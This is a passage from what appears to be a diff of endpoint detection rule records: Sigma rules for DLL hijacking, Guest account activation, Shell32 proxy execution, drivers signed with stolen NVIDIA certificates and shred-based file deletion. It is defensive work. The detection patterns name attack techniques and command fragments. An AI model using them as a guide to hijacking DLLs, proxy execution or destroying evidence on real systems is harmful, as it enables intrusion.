attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dxcap.exe'\n        ImageLoaded|endswith:\n            - '\\d3d11.dll'\n            - '\\dbghelp.dll'\n            - '\\xmllite.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0c620fa1-5877-425b-b91e-920d723b4eab",
+  "rule_name": "DLL Hijacking via dxcap.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via dxcap.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0c76fbf6-2adc-4728-bf4c-92b0f9d5c847",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088943Z",
+  "creation_date": "2026-03-23T11:45:34.088945Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088949Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts#guest",
+    "https://attack.mitre.org/techniques/T1078/001/"
+  ],
+  "name": "t1078_001_guest_account_enabled.yml",
+  "content": "title: Guest Account Enabled\nid: 0c76fbf6-2adc-4728-bf4c-92b0f9d5c847\ndescription: |\n    Detects the activation of the Guest account.\n    This account is disabled by default and can be used by attackers to maintain access to victim system via a persistence.\n    It is recommended to investigate this action to determine its legitimacy and investigate any suspicious authentications using the guest account.\nreferences:\n    - https://learn.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts#guest\n    - https://attack.mitre.org/techniques/T1078/001/\ndate: 2024/01/04\nmodified: 2025/02/04\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.initial_access\n    - attack.t1078.001\n    - classification.Windows.Source.EventLog\n    - classification.Windows.Behavior.AccountManipulation\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    service: security\ndetection:\n    selection:\n        Source: 'Microsoft-Windows-Security-Auditing'\n        EventID: 4722\n        TargetSid|endswith: '-501'\n\n    condition: selection\nlevel: high\nconfidence: moderate",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0c76fbf6-2adc-4728-bf4c-92b0f9d5c847",
+  "rule_name": "Guest Account Enabled",
+  "rule_description": "Detects the activation of the Guest account.\nThis account is disabled by default and can be used by attackers to maintain access to victim system via a persistence.\nIt is recommended to investigate this action to determine its legitimacy and investigate any suspicious authentications using the guest account.\n",
+  "rule_creation_date": "2024-01-04",
+  "rule_modified_date": "2025-02-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.initial_access",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1078.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0cd0225c-b3cf-4b13-b578-75c10f83bbb5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086416Z",
+  "creation_date": "2026-03-23T11:45:34.086418Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086422Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Libraries/Shell32/",
+    "https://attack.mitre.org/techniques/T1218/011/"
+  ],
+  "name": "t1218_011_suspicious_shell32.yml",
+  "content": "title: Suspicious Proxy Execution via Shell32\nid: 0cd0225c-b3cf-4b13-b578-75c10f83bbb5\ndescription: |\n    Detects the suspicious execution of the legitimate Windows DLL Shell32.dll using parameters allowing for proxy execution.\n    This binary can be used as a LOLBin in order to execute binaries or load DLLs.\n    It is recommended to investigate the process responsible for the execution of Shell32 as well as the executed payload to look for malicious content or actions.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Libraries/Shell32/\n    - https://attack.mitre.org/techniques/T1218/011/\ndate: 2022/12/15\nmodified: 2025/10/03\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218.011\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Shell32\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_exec_rundll:\n        - Image|endswith: '\\rundll32.exe'\n        - OriginalFileName: 'rundll32.exe'\n\n    selection_exec_shell32:\n        CommandLine|contains|all:\n            - 'shell32'\n            - ','\n\n    selection_exec_args:\n        CommandLine|contains:\n            - 'Control_RunDLL'\n            - '#274' # Control_RunDLL\n            - '#275' # Control_RunDLLA\n            - '#276' # Control_RunDLLAsUserW\n            - '#277' # Control_RunDLLW\n            - 'ShellExec_RunDLL'\n            - '#569' # ShellExec_RunDLL\n            - '#570' # ShellExec_RunDLLA\n            - '#571' # ShellExec_RunDLLW\n\n    selection_suspicious_ordinal:\n        CommandLine|contains:\n            - '#274' # Control_RunDLL\n            - '#275' # Control_RunDLLA\n            - '#276' # Control_RunDLLAsUserW\n            - '#277' # Control_RunDLLW\n            - '#569' # ShellExec_RunDLL\n            - '#570' # ShellExec_RunDLLA\n            - '#571' # ShellExec_RunDLLW\n\n    selection_suspicious_folder:\n        CommandLine|contains:\n            - '\\AppData\\'\n            - '\\Temp\\'\n            - '%AppData%'\n            - '%LocalAppData%'\n            - '%Temp%'\n            - '?:\\Users\\Public'\n            - '?:\\PerfLogs\\'\n\n    exclusion_share:\n        ParentImage|startswith: '\\\\\\\\'\n\n    exclusion_legitimate:\n        CommandLine|contains:\n            - '@screensaver'\n            - 'mmsys.cpl,,playback'\n            - 'mmsys.cpl,,sounds'\n            - 'mmsys.cpl,,recording'\n            - 'mmsys.cpl,,{0.0.0.00000000}'\n            - '?:\\Windows\\system32\\\\*.cpl'\n            - '?:\\windows\\CCM\\\\*.cpl'\n            - '\\Office??\\MLCFG32.CPL'\n            - 'PowerCfg.cpl @0,/editplan:'\n            - 'input.dll,,{C07337D3-DB2C-4D0B-9A93-B722A6C106E2}'\n            - 'inetcpl.cpl,,0'\n            - 'Control_RunDLL desk.cpl,'\n            - 'sysdm.cpl,,1'\n            - 'Control_RunDLL timedate.cpl'\n            - 'Control_RunDLL nusrmgr.cpl'\n            - 'Control_RunDLL srchadmin.dll'\n            - 'Control_RunDLL ?:\\WINDOWS\\System32\\srchadmin.dll'\n            - 'Control_RunDLL appwiz.cpl,'\n            - 'Control_RunDLL bthprops.cpl,'\n\n    exclusion_jp2launcher:\n        ParentImage:\n            - '?:\\Program Files\\Java\\\\*\\bin\\jp2launcher.exe'\n            - '?:\\Program Files (x86)\\\\*\\bin\\jp2launcher.exe'\n\n    # https://www.berger-levrault.com/fr/\n    exclusion_berger-levrault:\n        ParentImage: '?:\\Program Files (x86)\\BL\\BL\\bin\\e.magnus.exe'\n\n    exclusion_healthcare:\n        ParentImage: '?:\\Program Files\\GE Healthcare\\Centricity\\\\*.exe'\n\n    exclusion_xilinx:\n        ParentImage: '?:\\Xilinx\\xic\\tps\\win64\\\\*\\bin\\java.exe'\n\n    condition: all of selection_exec_* and 1 of selection_suspicious_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0cd0225c-b3cf-4b13-b578-75c10f83bbb5",
+  "rule_name": "Suspicious Proxy Execution via Shell32",
+  "rule_description": "Detects the suspicious execution of the legitimate Windows DLL Shell32.dll using parameters allowing for proxy execution.\nThis binary can be used as a LOLBin in order to execute binaries or load DLLs.\nIt is recommended to investigate the process responsible for the execution of Shell32 as well as the executed payload to look for malicious content or actions.\n",
+  "rule_creation_date": "2022-12-15",
+  "rule_modified_date": "2025-10-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218.011"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0cde446e-6eec-4d9c-a4df-ad0b836c3406",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.080575Z",
+  "creation_date": "2026-03-23T11:45:34.080577Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.080581Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://secjoes-reports.s3.eu-central-1.amazonaws.com/Dissecting+PlugX+to+Extract+Its+Crown+Jewels.pdf",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_bdservicehost.yml",
+  "content": "title: DLL Hijacking via bdservicehost.exe\nid: 0cde446e-6eec-4d9c-a4df-ad0b836c3406\ndescription: |\n    Detects potential Windows DLL Hijacking via bdservicehost.exe, seen in a previous PlugX attack.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://secjoes-reports.s3.eu-central-1.amazonaws.com/Dissecting+PlugX+to+Extract+Its+Crown+Jewels.pdf\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/11/08\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'bdservicehost.exe'\n        ProcessSignature: 'Bitdefender SRL'\n        ImageLoaded|endswith: '\\log.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\BitDefender\\'\n            - '?:\\Program Files (x86)\\BitDefender\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\BitDefender\\'\n            - '?:\\Program Files (x86)\\BitDefender\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Bitdefender SRL'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0cde446e-6eec-4d9c-a4df-ad0b836c3406",
+  "rule_name": "DLL Hijacking via bdservicehost.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via bdservicehost.exe, seen in a previous PlugX attack.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-11-08",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0cf16516-206d-4746-b55e-291542898e67",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618982Z",
+  "creation_date": "2026-03-23T11:45:34.618984Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618988Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_klist.yml",
+  "content": "title: DLL Hijacking via klist.exe\nid: 0cf16516-206d-4746-b55e-291542898e67\ndescription: |\n    Detects potential Windows DLL Hijacking via klist.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'klist.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dbghelp.dll'\n            - '\\netutils.dll'\n            - '\\secur32.dll'\n            - '\\srvcli.dll'\n            - '\\SspiCli.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0cf16516-206d-4746-b55e-291542898e67",
+  "rule_name": "DLL Hijacking via klist.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via klist.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0d1a3edd-eeb6-4a1c-8c08-047b57bbe2d8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.079072Z",
+  "creation_date": "2026-03-23T11:45:34.079074Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079079Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.malwarebytes.com/awareness/2022/03/stolen-nvidia-certificates-used-to-sign-malware-heres-what-to-do/",
+    "https://attack.mitre.org/techniques/T1553/002/"
+  ],
+  "name": "t1553_002_nvidia_stolen_cert_driver_load.yml",
+  "content": "title: Driver Loaded Signed with NVIDIA Stolen Certificate\nid: 0d1a3edd-eeb6-4a1c-8c08-047b57bbe2d8\ndescription: |\n    Detects the loading of driver signed using one of NVIDIA's stolen certificates.\n    This can be the sign of a malware using a fake signature to evade AV/EDR detection.\n    It is recommended to find the process responsible for this action using the related timeline or through jobs, as well as to analyze the loaded driver to look for malicious content and actions.\nreferences:\n    - https://blog.malwarebytes.com/awareness/2022/03/stolen-nvidia-certificates-used-to-sign-malware-heres-what-to-do/\n    - https://attack.mitre.org/techniques/T1553/002/\ndate: 2022/07/12\nmodified: 2025/02/04\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1553.002\n    - classification.Windows.Source.DriverLoad\n    - classification.Windows.Behavior.StolenCertificate\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: driver_load\ndetection:\n    selection_cert_1:\n        DriverSignatureSignerThumbprint: '579aec4489a2ca8a2a09df5dc0323634bd8b16b7'\n\n    filter_timestamp_cert_1:\n        DriverPETimestampStr|startswith:\n            - '2011-'\n            - '2012-'\n            - '2013-'\n            - '2014-01'\n            - '2014-02'\n            - '2014-03'\n            - '2014-04'\n            - '2014-05'\n            - '2014-06'\n            - '2014-07'\n            - '2014-08'\n\n    selection_cert_2:\n        DriverSignatureSignerThumbprint: '30632ea310114105969d0bda28fdce267104754f'\n\n    filter_timestamp_cert_2:\n        DriverPETimestampStr|startswith:\n            - '2015-07'\n            - '2015-08'\n            - '2015-09'\n            - '2015-10'\n            - '2015-11'\n            - '2015-12'\n            - '2016-'\n            - '2017-'\n            - '2018-01'\n            - '2018-02'\n            - '2018-03'\n            - '2018-04'\n            - '2018-05'\n            - '2018-06'\n            - '2018-07'\n\n    filter_copyright:\n        LegalCopyright|contains:\n            - 'NVIDIA'\n            - 'Galasoft'\n\n    condition: ((selection_cert_1 and not filter_timestamp_cert_1) or (selection_cert_2 and not filter_timestamp_cert_2)) and not filter_copyright\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0d1a3edd-eeb6-4a1c-8c08-047b57bbe2d8",
+  "rule_name": "Driver Loaded Signed with NVIDIA Stolen Certificate",
+  "rule_description": "Detects the loading of driver signed using one of NVIDIA's stolen certificates.\nThis can be the sign of a malware using a fake signature to evade AV/EDR detection.\nIt is recommended to find the process responsible for this action using the related timeline or through jobs, as well as to analyze the loaded driver to look for malicious content and actions.\n",
+  "rule_creation_date": "2022-07-12",
+  "rule_modified_date": "2025-02-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1553.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0d4bd1c5-18a6-4c6e-a08e-48adc41e2884",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.628455Z",
+  "creation_date": "2026-03-23T11:45:34.628457Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.628462Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://man7.org/linux/man-pages/man1/shred.1.html",
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.004/T1070.004.md#atomic-test-3---overwrite-and-delete-a-file-with-shred",
+    "https://attack.mitre.org/techniques/T1070/004/",
+    "https://attack.mitre.org/techniques/T1485/"
+  ],
+  "name": "t1070_004_delete_with_shred.yml",
+  "content": "title: File Deleted via shred\nid: 0d4bd1c5-18a6-4c6e-a08e-48adc41e2884\ndescription: |\n    Detects the execution of shred, a tool used to overwrite a file's content before deleting it.\n    Attackers can overwrite any files left by their malicious activities to prevent forensic and slow the investigation, or use shred to destroy sensitive information as part of a ransomware attack.\n    It is recommended to investigate the parent process as well as the files being deleted to determine whether this action was legitimate.\nreferences:\n    - https://man7.org/linux/man-pages/man1/shred.1.html\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.004/T1070.004.md#atomic-test-3---overwrite-and-delete-a-file-with-shred\n    - https://attack.mitre.org/techniques/T1070/004/\n    - https://attack.mitre.org/techniques/T1485/\ndate: 2023/01/06\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1070.004\n    - attack.impact\n    - attack.t1485\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.LOLBin.Shred\n    - classification.Linux.Behavior.Deletion\n    - classification.Linux.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/shred'\n        CommandLine|contains:\n            - ' -u'\n            - ' -?u'\n            - ' -??u'\n            - ' -???u'\n\n    exclusion_space:\n        CommandLine|contains:\n            - ' - u'\n            - ' -? u'\n            - ' -?? u'\n\n    exclusion_plz_sandbox:\n        ParentCommandLine: '/tmp/plz_sandbox/third_party/system_tools/logrotate/logrotate -v -m ./mailer -s state test-config.15 --force'\n\n    exclusion_blacknoise:\n        ParentCommandLine: 'sudo -S shred -u /tmp/blacknoise_BLCKNS_DEF_L0007.001'\n\n    exclusion_logrotate:\n        ParentCommandLine: '/usr/sbin/logrotate /etc/logrotate.conf'\n        CommandLine: 'shred -u -'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0d4bd1c5-18a6-4c6e-a08e-48adc41e2884",
+  "rule_name": "File Deleted via shred",
+  "rule_description": "Detects the execution of shred, a tool used to overwrite a file's content before deleting it.\nAttackers can overwrite any files left by their malicious activities to prevent forensic and slow the investigation, or use shred to destroy sensitive information as part of a ransomware attack.\nIt is recommended to investigate the parent process as well as the files being deleted to determine whether this action was legitimate.\n",
+  "rule_creation_date": "2023-01-06",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1070.004",
+    "attack.t1485"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0d4ebd0c-1c3f-4c6b-8c60-121639f8b842",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.595420Z",
+  "creation_date": "2026-03-23T11:45:34.595423Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.595431Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.intrinsec.com/apt27-analysis/",
+    "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html",
+    "https://attack.mitre.org/techniques/T1106/"
